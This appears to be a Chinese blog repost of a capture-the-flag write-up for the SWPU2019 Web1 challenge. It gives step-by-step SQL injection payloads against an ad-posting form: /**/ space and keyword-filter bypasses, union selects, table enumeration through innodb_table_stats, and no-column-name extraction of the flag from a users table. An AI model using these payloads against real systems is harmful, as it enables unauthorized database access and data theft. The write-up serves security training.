当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:52:00 【pakho_C】
[SWPU2019]Web1
尝试注册admin,显示已存在,爆破密码没爆出来
注册一个test账户 登陆
申请发布广告
尝试注入
使用单引号尝试,报错
说明存在注入,尝试万能密码

有过滤,尝试fuzz,但是限制了次数和不允许相同广告标题
所以只能手动测试,过滤了 or order floor updatexml # – 等,并且自动消除了空格,尝试内联注释/**/绕过
由于or被过滤,那么information_schema就无法使用,只能使用无列名注入,参考:SQL注入之无列名注入
1.使用group by获取列数:1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
得到列数为22
2.使用联合查询查看回显点:-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
得到回显点为 2 3
接着查表名的时候发现or被过滤,且无法通过大小写和双写绕过,那么information_schema因为含有or,所以也没法使用。这里有两种方法可以绕过
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。
3.使用innodb绕过,查看表名:-1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1 
得到表名为 ads users
4.使用无列名注入查看users表中的第二个字段的内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
注:这里的联合注入使用的select 1,2,3可以测试出来,如果不匹配会有提醒
测出来为3列
得到字段名为flag,那么第三个字段中第一个值就是flag
将要查询的列改为3即可
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

边栏推荐
- 用Unity发布APP到Hololens2无坑教程
- You may use special comments to disable some warnings. Three ways to report errors
- ASP.NET application--Hello World
- 2022 Hangzhou Electric Multi-School 1st Game
- UE4 opens doors with overlapping events
- Static method to get configuration file data
- 开发Hololens遇到The type or namespace name ‘HandMeshVertex‘ could not be found..
- Kubernetes 网络入门
- UE4 第一人称角色模板 添加生命值和调试伤害
- Redis key basic commands
猜你喜欢

36-Jenkins-Job Migration

炎炎夏日教你利用小米智能家居配件+树莓派4接入Apple HomeKit
![[GYCTF2020]EasyThinking](/img/40/973411c69d1e4766d22f6a4a7c7c01.png)
[GYCTF2020]EasyThinking

Ali's local life's single-quarter revenue is 10.6 billion, Da Wenyu's revenue is 7.2 billion, and Cainiao's revenue is 12.1 billion

数据库设计的酸(ACID)碱(BASE)原则

token, jwt, oauth2, session parsing

事件解析树Drain3使用方法和解释

Growth-based checkerboard corner detection method

用Unity发布APP到Hololens2无坑教程

The test salary is so high?20K just graduated
随机推荐
905. Interval selection
包拉链不可用,但是是被另一个包。
Walter talked little knowledge | "remote passthrough" that something
ffmpeg pixel format basics
Increasing leetcode - a daily topic 1403. The order of the boy sequence (greed)
2022 Hangzhou Electric Multi-School 1st Game
Never put off till tomorrow what you can put - house lease management system based on the SSM
From "useable" to "easy to use", domestic software is self-controllable and continues to advance
2022.8.4-----leetcode.1403
从企业的视角来看,数据中台到底意味着什么?
DEJA_VU3D - Cesium功能集 之 059-腾讯地图纠偏
On governance and innovation, the 2022 OpenAtom Global Open Source Summit OpenAnolis sub-forum came to a successful conclusion
Hard power or soft power, which is more important to testers?
Bosses, I noticed that a mysql CDC connector parameters scan. The incremental. Sna
Open-Falcon of operation and maintenance monitoring system
After the large pixel panorama is completed, what are the promotion methods?
测试薪资这么高?刚毕业就20K
2022软件测试工程师最全面试题
JeeSite新建报表
iMedicalLIS listener (2)